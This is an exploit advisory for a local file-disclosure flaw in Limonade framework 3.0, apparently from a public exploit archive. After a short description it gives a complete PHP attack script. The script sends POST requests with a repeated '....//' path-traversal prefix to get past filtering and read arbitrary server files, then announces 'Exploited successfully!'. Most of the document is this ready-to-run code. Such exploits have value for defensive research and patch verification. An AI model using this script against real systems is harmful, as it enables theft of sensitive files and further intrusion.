Limonade Framework - 'limonade.php' Local File Disclosure

source: https://www.securityfocus.com/bid/63771/info

Limonade framework is prone to a local file-disclosure vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to obtain sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

Limonade framework 3.0 vulnerable; other versions may also be affected. 

<?php
/** To prevent of time out **/
set_time_limit(0);
 
/** Error reporting **/
error_reporting(0);
 
/** Necessary variables **/
$url = $argv[1];
$data = $argv[2];
$needle = $argv[3];
 
/** Curl function with appropriate adjustments **/
function CurlPost($url='localhost',$data=array())
{
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
    curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);
    curl_setopt($ch,CURLOPT_HEADER,1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_TIMEOUT,50);
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
    return curl_exec($ch);
    curl_close($ch);
}
 
list($param,$file) = explode(':',$data);
 
$FilterBypassing = '....//';
for($i=0;$i<10;$i++)
{
    $DataToPost[$param] = $FilterBypassing.$file;
    $response = CurlPost($url,$DataToPost);
    if(strstr($response,$needle)!==FALSE)
    {
        echo $response;
        echo "\n\nExploited successfully!\n";
        echo 'Payload: ',$DataToPost[$param],"\n\n\n";
        die();
    }
     
    $FilterBypassing .= '....//';
}
?>